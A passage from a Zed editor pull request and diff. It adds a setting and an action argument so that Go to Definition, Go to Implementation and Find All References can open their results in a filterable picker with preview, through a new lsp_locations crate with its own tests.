approach and UX before adding tests.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase


https://github.com/user-attachments/assets/41538f23-9b54-4dfc-bfa7-a61564a675a8

---

Release Notes:

- The find all references, go to definitions, and go to implementations
LSP actions can be configured to open results in a picker with preview
instead of a multibuffer.
---
 Cargo.lock                                |  27 +
 Cargo.toml                                |   2 +
 assets/settings/default.json              |   8 +
 crates/editor/src/actions.rs              |  31 +-
 crates/editor/src/editor.rs               |   5 +-
 crates/editor/src/editor_settings.rs      |   6 +-
 crates/editor/src/editor_tests.rs         | 151 +++-
 crates/editor/src/hover_links.rs          |   2 +-
 crates/editor/src/mouse_context_menu.rs   |   7 +-
 crates/editor/src/navigation.rs           |  75 ++
 crates/lsp_locations/Cargo.toml           |  43 +
 crates/lsp_locations/LICENSE-GPL          |   1 +
 crates/lsp_locations/src/lsp_locations.rs | 972 ++++++++++++++++++++++
 crates/settings/src/vscode_import.rs      |   1 +
 crates/settings_content/src/editor.rs     |  32 +
 crates/settings_ui/src/page_data.rs       |  16 +-
 crates/settings_ui/src/settings_ui.rs     |   1 +
 crates/zed/Cargo.toml                     |   1 +
 crates/zed/src/main.rs                    |   1 +
 crates/zed/src/visual_test_runner.rs      |   1 +
 crates/zed/src/zed.rs                     |   1 +
 crates/zed/src/zed/app_menus.rs           |   5 +-
 crates/zed/src/zed/visual_tests.rs        |   1 +
 23 files changed, 1365 insertions(+), 25 deletions(-)
 create mode 100644 crates/lsp_locations/Cargo.toml
 create mode 120000 crates/lsp_locations/LICENSE-GPL
 create mode 100644 crates/lsp_locations/src/lsp_locations.rs

diff --git a/Cargo.lock b/Cargo.lock
index 6293cb2a21721a..79664e0cfd3955 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -10583,6 +10583,32 @@ dependencies = [
  "url",
 ]
 
+[[package]]
+name = "lsp_locations"
+version = "0.1.0"
+dependencies = [
+ "anyhow",
+ "collections",
+ "editor",
+ "file_icons",
+ "fuzzy",
+ "gpui",
+ "indoc",
+ "language",
+ "log",
+ "lsp",
+ "picker",
+ "picker_preview",
+ "project",
+ "settings",
+ "text",
+ "theme",
+ "theme_settings",
+ "ui",
+ "util",
+ "workspace",
+]
+
 [[package]]
 name = "lyon"
 version = "1.0.16"
@@ -23126,6 +23152,7 @@ dependencies = [
  "languages",
  "line_ending_selector",
  "log",
+ "lsp_locations",
  "markdown",
  "markdown_preview",
  "menu",
diff --git a/Cargo.toml b/Cargo.toml
index 62c2381988b61a..3e126c2690a55d 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -129,6 +129,7 @@ members = [
     "crates/llama_cpp",
     "crates/lmstudio",
     "crates/lsp",
+    "crates/lsp_locations",
     "crates/markdown",
     "crates/markdown_preview",
     "crates/mermaid_render",
@@ -390,6 +391,7 @@ livekit_client = { path = "crates/livekit_client" }
 llama_cpp = { path = "crates/llama_cpp" }
 lmstudio = { path = "crates/lmstudio" }
 lsp = { path = "crates/lsp" }
+lsp_locations = { path = "crates/lsp_locations" }
 markdown = { path = "crates/markdown" }
 markdown_preview = { path = "crates/markdown_preview" }
 mermaid_render = { path = "crates/mermaid_render" }
diff --git a/assets/settings/default.json b/assets/settings/default.json
index b2fdb36f7e18d8..563aeaf1a2ae88 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -410,6 +410,14 @@
   // 4. Preserve the cursor's vertical position within the viewport, falling back to `center` when the cursor is
   //    offscreen: `preserve`
   "go_to_definition_scroll_strategy": "center",
+  // Where to show LSP results that can contain multiple locations
+  // (Go to Definition, Go to Implementation, Find All References). A single
+  // result always opens directly. Individual actions can override this with
+  // their `open_results_in` argument.
+  //
+  // 1. Open the results in a multibuffer: `multi_buffer` (default)
+  // 2. Open the results in a filterable picker: `picker`
+  "lsp_results_location": "multi_buffer",
   // Which level to use to filter out diagnostics displayed in the editor.
   //
   // Affects the editor rendering only, and does not interrupt
diff --git a/crates/editor/src/actions.rs b/crates/editor/src/actions.rs
index 2bd544736a5ae6..d88ca2200ff9fe 100644
--- a/crates/editor/src/actions.rs
+++ b/crates/editor/src/actions.rs
@@ -582,16 +582,12 @@ actions!(
         GoToDeclaration,
         /// Goes to declaration in a split pane.
         GoToDeclarationSplit,
-        /// Goes to the definition of the symbol at cursor.
-        GoToDefinition,
         /// Goes to definition in a split pane.
         GoToDefinitionSplit,
         /// Goes to the next diff hunk.
         GoToHunk,
         /// Goes to the previous diff hunk.
         GoToPreviousHunk,
-        /// Goes to the implementation of the symbol at cursor.
-        GoToImplementation,
         /// Goes to implementation in a split pane.
         GoToImplementationSplit,
         /// Goes to the next bookmark in the file.
@@ -951,6 +947,28 @@ actions!(
     ]
 );
 
+/// Goes to the definition of the symbol at cursor.
+#[derive(PartialEq, Clone, Default, Deserialize, JsonSchema, Action)]
+#[action(namespace = editor)]
+#[serde(deny_unknown_fields)]
+pub struct GoToDefinition {
+    /// Where to show the definitions. Falls back to the `lsp_results_location`
+    /// setting when omitted. A single result is always opened directly.
+    #[serde(default)]
+    pub open_results_in: Option<OpenResultsIn>,
+}
+
+/// Goes to the implementation of the symbol at cursor.
+#[derive(PartialEq, Clone, Default, Deserialize, JsonSchema, Action)]
+#[action(namespace = editor)]
+#[serde(deny_unknown_fields)]
+pub struct GoToImplementation {
+    /// Where to show the implementations. Falls back to the `lsp_results_location`
+    /// setting when omitted. A single result is always opened directly.
+    #[serde(default)]
+    pub open_results_in: Option<OpenResultsIn>,
+}
+
 /// Finds all references to the symbol at cursor.
 #[derive(PartialEq, Clone, Deserialize, JsonSchema, Action)]
 #[action(namespace = editor)]
@@ -958,12 +976,17 @@ actions!(
 pub struct FindAllReferences {
     #[serde(default = "default_true")]
     pub always_open_multibuffer: bool,
+    /// Where to show the references. Falls back to the `lsp_results_location`
+    /// setting when omitted. A single result is always opened directly.
+    #[serde(default)]
+    pub open_results_in: Option<OpenResultsIn>,
 }
 
 impl Default for FindAllReferences {
     fn default() -> Self {
         Self {
             always_open_multibuffer: true,
+            open_results_in: None,
         }
     }
 }
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 0e2e4d635b4053..06c2913c5ddc10 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -98,8 +98,9 @@ pub use edit_prediction_types::Direction;
 pub use edit_prediction_types::EditPredictionRequestTrigger;
 pub use editor_settings::{
     CompletionDetailAlignment, CompletionMenuItemKind, CurrentLineHighlight, DiffViewStyle,
-    DocumentColorsRenderMode, EditorSettings, EditorSettingsScrollbarProxy, ScrollBeyondLastLine,
-    ScrollbarAxes, SearchSettings, ShowMinimap, ui_scrollbar_settings_from_raw,
+    DocumentColorsRenderMode, EditorSettings, EditorSettingsScrollbarProxy, OpenResultsIn,
+    ScrollBeyondLastLine, ScrollbarAxes, SearchSettings, ShowMinimap,
+    ui_scrollbar_settings_from_raw,
 };
 pub use element::{
     CursorLayout, EditorElement, HighlightedRange, HighlightedRangeLine, PointForPosition,
diff --git a/crates/editor/src/editor_settings.rs b/crates/editor/src/editor_settings.rs
index 05a89a5907ce72..ffda80c35819e6 100644
--- a/crates/editor/src/editor_settings.rs
+++ b/crates/editor/src/editor_settings.rs
@@ -7,8 +7,8 @@ pub use settings::{
     CodeLens, CompletionDetailAlignment, CompletionMenuItemKind, CurrentLineHighlight, DelayMs,
     DiffViewStyle, DisplayIn, DocumentColorsRenderMode, DoubleClickInMultibuffer,
     GoToDefinitionFallback, GoToDefinitionScrollStrategy, MinimapThumb, MinimapThumbBorder,
-    MultiCursorModifier, ScrollBeyondLastLine, ScrollbarDiagnostics, SeedQuerySetting, ShowMinimap,
-    SnippetSortOrder,
+    MultiCursorModifier, OpenResultsIn, ScrollBeyondLastLine, ScrollbarDiagnostics,
+    SeedQuerySetting, ShowMinimap, SnippetSortOrder,
 };
 use settings::{RegisterSetting, RelativeLineNumbers, Settings};
 use ui::scrollbars::ShowScrollbar;
@@ -54,6 +54,7 @@ pub struct EditorSettings {
     pub show_signature_help_after_edits: bool,
     pub go_to_definition_fallback: GoToDefinitionFallback,
     pub go_to_definition_scroll_strategy: GoToDefinitionScrollStrategy,
+    pub lsp_results_location: OpenResultsIn,
     pub jupyter: Jupyter,
     pub snippet_sort_order: SnippetSortOrder,
     pub diagnostics_max_severity: Option<DiagnosticSeverity>,
@@ -289,6 +290,7 @@ impl Settings for EditorSettings {
             show_signature_help_after_edits: editor.show_signature_help_after_edits.unwrap(),
             go_to_definition_fallback: editor.go_to_definition_fallback.unwrap(),
             go_to_definition_scroll_strategy: editor.go_to_definition_scroll_strategy.unwrap(),
+            lsp_results_location: editor.lsp_results_location.unwrap(),
             jupyter: Jupyter {
                 enabled: editor.jupyter.unwrap().enabled.unwrap(),
             },
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index b90054064ae2ff..3efc8a5b291283 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -28884,7 +28884,9 @@ async fn test_goto_definition_with_find_all_references_fallback(cx: &mut TestApp
     );
     set_up_lsp_handlers(false, &mut cx);
     let navigated = cx
-        .update_editor(|editor, window, cx| editor.go_to_definition(&GoToDefinition, window, cx))
+        .update_editor(|editor, window, cx| {
+            editor.go_to_definition(&GoToDefinition::default(), window, cx)
+        })
         .await
         .expect("Failed to navigate to definition");
     assert_eq!(
@@ -28918,7 +28920,9 @@ async fn test_goto_definition_with_find_all_references_fallback(cx: &mut TestApp
 
     set_up_lsp_handlers(true, &mut cx);
     let navigated = cx
-        .update_editor(|editor, window, cx| editor.go_to_definition(&GoToDefinition, window, cx))
+        .update_editor(|editor, window, cx| {
+            editor.go_to_definition(&GoToDefinition::default(), window, cx)
+        })
         .await
         .expect("Failed to navigate to lookup references");
     assert_eq!(
@@ -28995,7 +28999,9 @@ async fn test_goto_definition_no_fallback(cx: &mut TestAppContext) {
         });
 
     let navigated = cx
-        .update_editor(|editor, window, cx| editor.go_to_definition(&GoToDefinition, window, cx))
+        .update_editor(|editor, window, cx| {
+            editor.go_to_definition(&GoToDefinition::default(), window, cx)
+        })
         .await
         .expect("Failed to navigate to lookup references");
     go_to_definition
@@ -29064,7 +29070,9 @@ async fn test_goto_definition_close_ranges_open_singleton(cx: &mut TestAppContex
     });
 
     let navigated = cx
-        .update_editor(|editor, window, cx| editor.go_to_definition(&GoToDefinition, window, cx))
+        .update_editor(|editor, window, cx| {
+            editor.go_to_definition(&GoToDefinition::default(), window, cx)
+        })
         .await
         .expect("Failed to navigate to definitions");
     assert_eq!(navigated, Navigated::Yes);
@@ -29148,7 +29156,9 @@ async fn test_goto_definition_far_ranges_open_multibuffer(cx: &mut TestAppContex
     });
 
     let navigated = cx
-        .update_editor(|editor, window, cx| editor.go_to_definition(&GoToDefinition, window, cx))
+        .update_editor(|editor, window, cx| {
+            editor.go_to_definition(&GoToDefinition::default(), window, cx)
+        })
         .await
         .expect("Failed to navigate to definitions");
     assert_eq!(navigated, Navigated::Yes);
@@ -29221,7 +29231,9 @@ async fn test_goto_definition_contained_ranges(cx: &mut TestAppContext) {
     });
 
     let navigated = cx
-        .update_editor(|editor, window, cx| editor.go_to_definition(&GoToDefinition, window, cx))
+        .update_editor(|editor, window, cx| {
+            editor.go_to_definition(&GoToDefinition::default(), window, cx)
+        })
         .await
         .expect("Failed to navigate to definitions");
     assert_eq!(navigated, Navigated::Yes);
@@ -29318,9 +29330,11 @@ async fn test_goto_definition_preserve_scroll_strategy(cx: &mut TestAppContext)
     cx.update_editor(|editor, window, cx| {
         editor.set_scroll_position(gpui::Point::new(0.0, caller_row - offset), window, cx);
     });
-    cx.update_editor(|editor, window, cx| editor.go_to_definition(&GoToDefinition, window, cx))
-        .await
-        .expect("Failed to navigate to definition");
+    cx.update_editor(|editor, window, cx| {
+        editor.go_to_definition(&GoToDefinition::default(), window, cx)
+    })
+    .await
+    .expect("Failed to navigate to definition");
     cx.run_until_parked();
     cx.update_editor(|editor, window, cx| {
         assert_eq!(
@@ -29351,9 +29365,11 @@ async fn test_goto_definition_preserve_scroll_strategy(cx: &mut TestAppContext)
         assert!(cursor_row >= visible_lines, "Cursor should be offscreen");
     });
 
-    cx.update_editor(|editor, window, cx| editor.go_to_definition(&GoToDefinition, window, cx))
-        .await
-        .expect("Failed to navigate to definition");
+    cx.update_editor(|editor, window, cx| {
+        editor.go_to_definition(&GoToDefinition::default(), window, cx)
+    })
+    .await
+    .expect("Failed to navigate to definition");
     cx.run_until_parked();
     cx.update_editor(|editor, window, cx| {
         assert_eq!(
@@ -37901,6 +37917,7 @@ async fn test_find_references_single_case(cx: &mut TestAppContext) {
 
     let action = FindAllReferences {
         always_open_multibuffer: false,
+        open_results_in: None,
     };
 
     let navigated = cx
@@ -37916,6 +37933,116 @@ async fn test_find_references_single_case(cx: &mut TestAppContext) {
     cx.assert_editor_state(after);
 }
 
+/// Maps each resolved [`Location`] to `(row, start_column, end_column)`.
+fn location_row_columns(
+    cx: &mut EditorLspTestContext,
+    locations: &[project::Location],
+) -> Vec<(u32, u32, u32)> {
+    let mut rows = cx.update_editor(|_editor, _window, cx| {
+        locations
+            .iter()
+            .map(|location| {
+                let snapshot = location.buffer.read(cx).snapshot();
+                let start: usize = snapshot.summary_for_anchor(&location.range.start);
+                let end: usize = snapshot.summary_for_anchor(&location.range.end);
+                let start = snapshot.offset_to_point(start);
+                let end = snapshot.offset_to_point(end);
+                (start.row, start.column, end.column)
+            })
+            .collect::<Vec<_>>()
+    });
+    rows.sort();
+    rows
+}
+
+#[gpui::test]
+async fn test_definition_locations_of_kind_excludes_self_link(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+    let mut cx = EditorLspTestContext::new_rust(
+        lsp::ServerCapabilities {
+            definition_provider: Some(lsp::OneOf::Left(true)),
+            ..lsp::ServerCapabilities::default()
+        },
+        cx,
+    )
+    .await;
+
+    // Cursor sits inside the `abc` use on row 2 (columns 14..17).
+    cx.set_state(indoc!(
+        r#"
+        fn main() {
+            let abc = 123;
+            let xyz = aˇbc;
+        }
+        "#
+    ));
+
+    // The server returns two targets: the location covering the cursor (which
+    // must be filtered out as a self-link) and the real definition on row 1.
+    cx.lsp
+        .set_request_handler::<lsp::request::GotoDefinition, _, _>(async move |params, _| {
+            let uri = params.text_document_position_params.text_document.uri;
+            Ok(Some(lsp::GotoDefinitionResponse::Array(vec![
+                lsp::Location {
+                    uri: uri.clone(),
+                    range: lsp::Range::new(lsp::Position::new(2, 14), lsp::Position::new(2, 17)),
+                },
+                lsp::Location {
+                    uri,
+                    range: lsp::Range::new(lsp::Position::new(1, 8), lsp::Position::new(1, 11)),
+                },
+            ])))
+        });
+
+    let locations = cx
+        .update_editor(|editor, _window, cx| {
+            editor.definition_locations_of_kind(GotoDefinitionKind::Symbol, cx)
+        })
+        .expect("definition query should spawn a task")
+        .await
+        .unwrap();
+
+    // Only the real definition remains; the target covering the cursor is dropped.
+    assert_eq!(location_row_columns(&mut cx, &locations), vec![(1, 8, 11)]);
+}
+
+#[test]
+fn test_open_results_in_action_argument_parsing() {
+    // A bare keybinding (no arguments) resolves to `None`, i.e. defer to the
+    // `lsp_results_location` setting. Keymap loading builds actions from `{}`
+    // when no arguments are given, so that is what we deserialize here.
+    assert_eq!(
+        serde_json::from_value::<GoToDefinition>(json!({}))
+            .unwrap()
+            .open_results_in,
+        None,
+    );
+
+    // The `OpenResultsIn` variants must keep the snake_case spelling that
+    // keymaps and the `lsp_results_location` setting rely on; a rename here
+    // would silently break those keybindings.
+    assert_eq!(
+        serde_json::from_value::<GoToDefinition>(json!({ "open_results_in": "picker" }))
+            .unwrap()
+            .open_results_in,
+        Some(OpenResultsIn::Picker),
+    );
+    assert_eq!(
+        serde_json::from_value::<GoToImplementation>(json!({ "open_results_in": "multi_buffer" }))
+            .unwrap()
+            .open_results_in,
+        Some(OpenResultsIn::MultiBuffer),
+    );
+
+    // The argument coexists with `FindAllReferences`'s existing field, which
+    // keeps its own default when only `open_results_in` is provided.
+    let references =
+        serde_json::from_value::<FindAllReferences>(json!({ "open_results_in": "picker" }))
+            .unwrap();
+    assert_eq!(references.open_results_in, Some(OpenResultsIn::Picker));
+    assert!(references.always_open_multibuffer);
+}
+
 #[gpui::test]
 async fn test_newline_task_list_continuation(cx: &mut TestAppContext) {
     init_test(cx, |settings| {
diff --git a/crates/editor/src/hover_links.rs b/crates/editor/src/hover_links.rs
index 9e943d37daf43f..2f7fe2787dfdc2 100644
--- a/crates/editor/src/hover_links.rs
+++ b/crates/editor/src/hover_links.rs
@@ -335,7 +335,7 @@ impl Editor {
                 }
                 (true, false) => self.go_to_type_definition(&GoToTypeDefinition, window, cx),
                 (false, true) => self.go_to_definition_split(&GoToDefinitionSplit, window, cx),
-                (false, false) => self.go_to_definition(&GoToDefinition, window, cx),
+                (false, false) => self.go_to_definition(&GoToDefinition::default(), window, cx),
             }
         } else {
             Task::ready(Ok(Navigated::No))
diff --git a/crates/editor/src/mouse_context_menu.rs b/crates/editor/src/mouse_context_menu.rs
index 879384fb6e65fd..0c4cbb3667a1d2 100644
--- a/crates/editor/src/mouse_context_menu.rs
+++ b/crates/editor/src/mouse_context_menu.rs
@@ -256,10 +256,13 @@ pub fn deploy_context_menu(
                     run_to_cursor || (evaluate_selection && has_selections),
                     |builder| builder.separator(),
                 )
-                .action("Go to Definition", Box::new(GoToDefinition))
+                .action("Go to Definition", Box::new(GoToDefinition::default()))
                 .action("Go to Declaration", Box::new(GoToDeclaration))
                 .action("Go to Type Definition", Box::new(GoToTypeDefinition))
-                .action("Go to Implementation", Box::new(GoToImplementation))
+                .action(
+                    "Go to Implementation",
+                    Box::new(GoToImplementation::default()),
+                )
                 .action(
                     "Find All References",
                     Box::new(FindAllReferences::default()),
diff --git a/crates/editor/src/navigation.rs b/crates/editor/src/navigation.rs
index 471f68b16b84dd..29447dd2f3e66d 100644
--- a/crates/editor/src/navigation.rs
+++ b/crates/editor/src/navigation.rs
@@ -1298,6 +1298,62 @@ impl Editor {
         }))
     }
 
+    /// Runs the LSP go-to query for `kind` (definition / declaration / type /
+    /// implementation) against the symbol under the cursor and returns the raw
+    /// target [`Location`]s. The go-to counterpart to
+    /// [`Self::find_all_references_locations`]; used by the LSP location pickers.
+    pub fn definition_locations_of_kind(
+        &mut self,
+        kind: GotoDefinitionKind,
+        cx: &mut Context<Self>,
+    ) -> Option<Task<Result<Vec<Location>>>> {
+        let provider = self.semantics_provider.clone()?;
+        let selection = self.selections.newest_anchor();
+        let multi_buffer = self.buffer.read(cx);
+        let multi_buffer_snapshot = multi_buffer.snapshot(cx);
+        let head = selection
+            .map(|anchor| anchor.to_offset(&multi_buffer_snapshot))
+            .head();
+
+        let (buffer, head) = multi_buffer.text_anchor_for_position(head, cx)?;
+        let definitions = provider.definitions(&buffer, head, kind, cx)?;
+        Some(cx.spawn(async move |editor, cx| {
+            let definitions = definitions.await?.unwrap_or_default();
+            // Drop a result that points back at the cursor, matching
+            // `go_to_definition_of_kind` (otherwise the picker lists the symbol
+            // you invoked it on).
+            editor.update(cx, |_, cx| {
+                definitions
+                    .into_iter()
+                    .filter(|link| hover_links::exclude_link_to_position(&buffer, &head, link, cx))
+                    .map(|link| link.target)
+                    .collect()
+            })
+        }))
+    }
+
+    /// Runs an LSP "find all references" query for the symbol under the cursor
+    /// and returns the raw [`Location`]s. Unlike [`Self::find_all_references`],
+    /// this does not group the results or open any UI
+    pub fn find_all_references_locations(
+        &mut self,
+        project: &Entity<Project>,
+        cx: &mut Context<Self>,
+    ) -> Option<Task<Result<Vec<Location>>>> {
+        let selection = self.selections.newest_anchor();
+        let multi_buffer = self.buffer.read(cx);
+        let multi_buffer_snapshot = multi_buffer.snapshot(cx);
+        let head = selection
+            .map(|anchor| anchor.to_offset(&multi_buffer_snapshot))
+            .head();
+
+        let (buffer, head) = multi_buffer.text_anchor_for_position(head, cx)?;
+        let references = project.update(cx, |project, cx| project.references(&buffer, head, cx));
+        // Keep every reference, including the one under the cursor, to match the
+        // default `find_all_references` multibuffer (`always_open_multibuffer`).
+        Some(cx.spawn(async move |_, _| Ok(references.await?.unwrap_or_default())))
+    }
+
     pub fn find_all_references(
         &mut self,
         action: &FindAllReferences,
@@ -2101,6 +2157,25 @@ impl Editor {
         self.go_to_symbol_by_offset(window, cx, -1).detach();
     }
 
+    /// Opens `location` and jumps to it through the same path as
+    /// go-to-definition, so selection, autoscroll, and jumplist tagging all
+    /// match. `split` opens it in the adjacent pane. Called on the editor the
+    /// jump originates from.
+    pub fn open_location(
+        &mut self,
+        location: Location,
+        split: bool,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Task<Result<Navigated>> {
+        let origin = self.navigation_entry(self.selections.newest_anchor().head(), cx);
+        let link = HoverLink::Text(LocationLink {
+            origin: None,
+            target: location,
+        });
+        self.navigate_to_hover_links(None, vec![link], origin, split, window, cx)
+    }
+
     /// Opens a multibuffer with the given project locations in it.
     pub(super) fn open_locations_in_multibuffer(
         workspace: &mut Workspace,
diff --git a/crates/lsp_locations/Cargo.toml b/crates/lsp_locations/Cargo.toml
new file mode 100644
index 00000000000000..2559e571e80c33
--- /dev/null
+++ b/crates/lsp_locations/Cargo.toml
@@ -0,0 +1,43 @@
+[package]
+name = "lsp_locations"
+version = "0.1.0"
+edition.workspace = true
+publish.workspace = true
+license = "GPL-3.0-or-later"
+
+[lints]
+workspace = true
+
+[lib]
+path = "src/lsp_locations.rs"
+doctest = false
+
+[dependencies]
+anyhow.workspace = true
+collections.workspace = true
+editor.workspace = true
+file_icons.workspace = true
+fuzzy.workspace = true
+gpui.workspace = true
+language.workspace = true
+log.workspace = true
+picker.workspace = true
+picker_preview.workspace = true
+project.workspace = true
+settings.workspace = true
+text.workspace = true
+theme_settings.workspace = true
+ui.workspace = true
+util.workspace = true
+workspace.workspace = true
+
+[dev-dependencies]
+editor = { workspace = true, features = ["test-support"] }
+gpui = { workspace = true, features = ["test-support"] }
+indoc.workspace = true
+language = { workspace = true, features = ["test-support"] }
+lsp = { workspace = true, features = ["test-support"] }
+project = { workspace = true, features = ["test-support"] }
+settings = { workspace = true, features = ["test-support"] }
+theme = { workspace = true, features = ["test-support"] }
+workspace = { workspace = true, features = ["test-support"] }
diff --git a/crates/lsp_locations/LICENSE-GPL b/crates/lsp_locations/LICENSE-GPL
new file mode 120000
index 00000000000000..89e542f750cd38
--- /dev/null
+++ b/crates/lsp_locations/LICENSE-GPL
@@ -0,0 +1 @@
+../../LICENSE-GPL
\ No newline at end of file
diff --git a/crates/lsp_locations/src/lsp_locations.rs b/crates/lsp_locations/src/lsp_locations.rs
new file mode 100644
index 00000000000000..90f29ae7bc0e4d
--- /dev/null
+++ b/crates/lsp_locations/src/lsp_locations.rs
@@ -0,0 +1,972 @@
+use std::ops::Range;
+use std::sync::Arc;
+
+use collections::HashMap;
+use editor::actions::{FindAllReferences, GoToDefinition, GoToImplementation};
+use editor::{Editor, EditorSettings, GotoDefinitionKind, OpenResultsIn};
+use file_icons::FileIcons;
+use fuzzy::StringMatchCandidate;
+use gpui::{
+    AnyElement, App, AppContext, AsyncWindowContext, Context, DismissEvent, Entity, EventEmitter,
+    FocusHandle, Focusable, HighlightStyle, StyledText, Subscription, Task, TextStyle, WeakEntity,
+    prelude::*,
+};
+use language::{Buffer, HighlightId, LanguageAwareStyling};
+use picker::{Picker, PickerDelegate};
+use project::{Location, Project, ProjectPath};
+use settings::{GoToDefinitionFallback, Settings as _};
+use text::{Anchor, Point};
+use theme_settings::ThemeSettings;
+use ui::{Divider, FluentBuilder};
+use ui::{ListItem, ListItemSpacing, prelude::*};
+use util::ResultExt as _;
+use workspace::item::ItemSettings;
+use workspace::notifications::NotificationId;
+use workspace::{ModalView, Toast, Workspace};
+
+pub fn init(cx: &mut App) {
+    cx.observe_new(register).detach();
+}
+
+/// Registers handlers for the navigation actions on each full editor. When the
+/// action resolves to [`OpenResultsIn::Picker`], we open the filterable picker;
+/// otherwise we `cx.propagate()` so the editor's own handler runs and builds a
+/// multibuffer.
+fn register(editor: &mut Editor, _window: Option<&mut Window>, cx: &mut Context<Editor>) {
+    if !editor.mode().is_full() {
+        return;
+    }
+    let handle = cx.entity().downgrade();
+    editor
+        .register_action({
+            let handle = handle.clone();
+            move |action: &GoToDefinition, window, cx| {
+                handle_nav_action(
+                    action.open_results_in,
+                    LspPickerKind::Definition,
+                    &handle,
+                    window,
+                    cx,
+                );
+            }
+        })
+        .detach();
+    editor
+        .register_action({
+            let handle = handle.clone();
+            move |action: &GoToImplementation, window, cx| {
+                handle_nav_action(
+                    action.open_results_in,
+                    LspPickerKind::Implementation,
+                    &handle,
+                    window,
+                    cx,
+                );
+            }
+        })
+        .detach();
+    editor
+        .register_action(move |action: &FindAllReferences, window, cx| {
+            handle_nav_action(
+                action.open_results_in,
+                LspPickerKind::References,
+                &handle,
+                window,
+                cx,
+            );
+        })
+        .detach();
+}
+
+/// Either opens the picker for the editor, or propagates the action so the
+/// editor's built-in (multibuffer) handler runs. A `None` argument falls back to
+/// the `lsp_results_location` setting.
+fn handle_nav_action(
+    open_results_in: Option<OpenResultsIn>,
+    kind: LspPickerKind,
+    editor: &WeakEntity<Editor>,
+    window: &mut Window,
+    cx: &mut App,
+) {
+    let open_results_in =
+        open_results_in.unwrap_or_else(|| EditorSettings::get_global(cx).lsp_results_location);
+    if open_results_in != OpenResultsIn::Picker {
+        cx.propagate();
+        return;
+    }
+    LspLocationsPicker::open_for_editor(kind, editor.clone(), window, cx);
+}
+
+/// Runs the LSP query for `kind` and returns the raw locations. Returns `None`
+/// (and reports any error) when there is nothing to query, so the caller stops
+/// without an empty-results toast. Deduplication and dropping fileless results
+/// happen later in [`build_location_matches`].
+async fn run_picker_query(
+    kind: LspPickerKind,
+    editor: &WeakEntity<Editor>,
+    workspace: &WeakEntity<Workspace>,
+    project: &Entity<Project>,
+    cx: &mut AsyncWindowContext,
+) -> Option<Vec<Location>> {
+    let query = editor
+        .update(cx, |editor, cx| kind.run_query(editor, project, cx))
+        .ok()
+        .flatten()?;
+    match query.await {
+        Ok(locations) => Some(locations),
+        Err(error) => {
+            log::error!("LSP {kind:?} query failed: {error:#}");
+            workspace
+                .update(cx, |workspace, cx| workspace.show_error(error, cx))
+                .log_err();
+            None
+        }
+    }
+}
+
+/// Runs the query for `kind` and builds the displayable, deduped matches.
+async fn run_picker_matches(
+    kind: LspPickerKind,
+    editor: &WeakEntity<Editor>,
+    workspace: &WeakEntity<Workspace>,
+    project: &Entity<Project>,
+    cx: &mut AsyncWindowContext,
+) -> Option<Vec<LocationMatch>> {
+    let locations = run_picker_query(kind, editor, workspace, project, cx).await?;
+    editor
+        .update(cx, |_, cx| build_location_matches(&locations, cx))
+        .ok()
+}
+
+fn show_no_results_toast(
+    workspace: &WeakEntity<Workspace>,
+    kind: LspPickerKind,
+    cx: &mut AsyncWindowContext,
+) {
+    workspace
+        .update(cx, |workspace, cx| {
+            struct NoLspResults;
+            workspace.show_toast(
+                Toast::new(
+                    NotificationId::unique::<NoLspResults>(),
+                    kind.empty_message(),
+                )
+                .autohide(),
+                cx,
+            );
+        })
+        .log_err();
+}
+
+#[derive(Clone, Copy, Debug, PartialEq, Eq)]
+pub enum LspPickerKind {
+    References,
+    Definition,
+    Implementation,
+}
+
+impl LspPickerKind {
+    fn placeholder(self) -> &'static str {
+        match self {
+            LspPickerKind::References => "Filter references…",
+            LspPickerKind::Definition => "Filter definitions…",
+            LspPickerKind::Implementation => "Filter implementations…",
+        }
+    }
+
+    /// Message shown when the query produces no results, so the command does not
+    /// appear to silently do nothing.
+    fn empty_message(self) -> &'static str {
+        match self {
+            LspPickerKind::References => "No references found",
+            LspPickerKind::Definition => "No definitions found",
+            LspPickerKind::Implementation => "No implementations found",
+        }
+    }
+
+    /// Runs the query for this kind against the active editor, returning the raw
+    /// locations to populate the picker.
+    fn run_query(
+        self,
+        editor: &mut Editor,
+        project: &Entity<Project>,
+        cx: &mut Context<Editor>,
+    ) -> Option<Task<anyhow::Result<Vec<Location>>>> {
+        match self {
+            LspPickerKind::References => editor.find_all_references_locations(project, cx),
+            LspPickerKind::Definition => {
+                editor.definition_locations_of_kind(GotoDefinitionKind::Symbol, cx)
+            }
+            LspPickerKind::Implementation => {
+                editor.definition_locations_of_kind(GotoDefinitionKind::Implementation, cx)
+            }
+        }
+    }
+}
+
+pub struct LspLocationsPicker {
+    picker: Entity<Picker<LspLocationsDelegate>>,
+    _subscription: Subscription,
+}
+
+impl LspLocationsPicker {
+    fn open_for_editor(
+        kind: LspPickerKind,
+        editor: WeakEntity<Editor>,
+        window: &mut Window,
+        cx: &mut App,
+    ) {
+        let Some(editor) = editor.upgrade() else {
+            return;
+        };
+        let Some(workspace) = editor.read(cx).workspace() else {
+            return;
+        };
+        workspace.update(cx, |workspace, cx| {
+            Self::open(kind, editor, workspace, window, cx);
+        });
+    }
+
+    /// Opens the picker for `kind`: runs a fresh LSP query and shows the
+    /// results. An empty definitions query falls back to references when the
+    /// `go_to_definition_fallback` setting calls for it, matching
+    /// [`Editor::go_to_definition`].
+    fn open(
+        kind: LspPickerKind,
+        editor: Entity<Editor>,
+        workspace: &mut Workspace,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        let project = workspace.project().clone();
